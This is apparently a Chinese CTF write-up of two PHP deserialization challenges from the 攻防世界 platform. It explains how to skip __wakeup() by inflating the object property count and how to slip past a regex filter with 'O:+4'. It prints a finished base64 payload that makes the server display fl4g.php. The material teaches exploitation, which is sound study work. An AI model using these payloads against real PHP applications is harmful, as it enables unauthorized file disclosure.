攻防世界发序列化3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
打开后得到代码如上,我们对其进行分析发现其类里面只有$flag一个参数而他只存在wakeup()的方法
wakeup():反序列化之前检查执行的函数,不论如何都会优先执行wakeup()方法
绕过方法:在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行wakeup()函数,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
在url栏上输入如下构造的pyload并将1改为2即得到flag:
这里输入了之后发现没有反应仔细查看发现结尾的中括号中少了一个分号 ; 故构造错误解
改后得到flag:
攻防世界Web_php_unserialize
<?php
class Demo { //定义一个类Demo
private $file = 'index.php'; //私有的外部(类的外部)不可用
public function __construct($file) { //公共的外部可以用
$this->file = $file;
}
function __destruct() { //方法destruct
echo @highlight_file($this->file, true);
}
function __wakeup() { //方法wakeup
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配需绕过
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
打开得到如上的php代码对其进行分析:
发现我们需要绕过preg_match正则和__wakeup函数
原理:_wakeup()函数若不绕过则会将马上就要反序列化的字串中file给你替换为index,这样就会导致页面回到当前页面。通过在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行wakeup()函数这一原理将序列化字串的对象属性个数1改为别的数字就行了。
绕过正则/[oc]:\d+:/i:
首先知道这个正则的意思是匹配所有的以o、c、O、C
开头,加冒号:
,加数字、再加冒号:
的字符串,忽略大小写,也就是与o:4:
这部分序列化串开头的相匹配。这里使用 +4 代替 4即可绕过这部分的正则(如若没绕过则会直接使程序停止)
注意:这里的file 的类型是private,故在url栏上编码的时候需要加上不可见字符%00%00并在中间插入类名Demo
综上开始构造pyload:
O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
再由以下句子对pyload进行最后的加工:
构造最后的pyload:
index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag: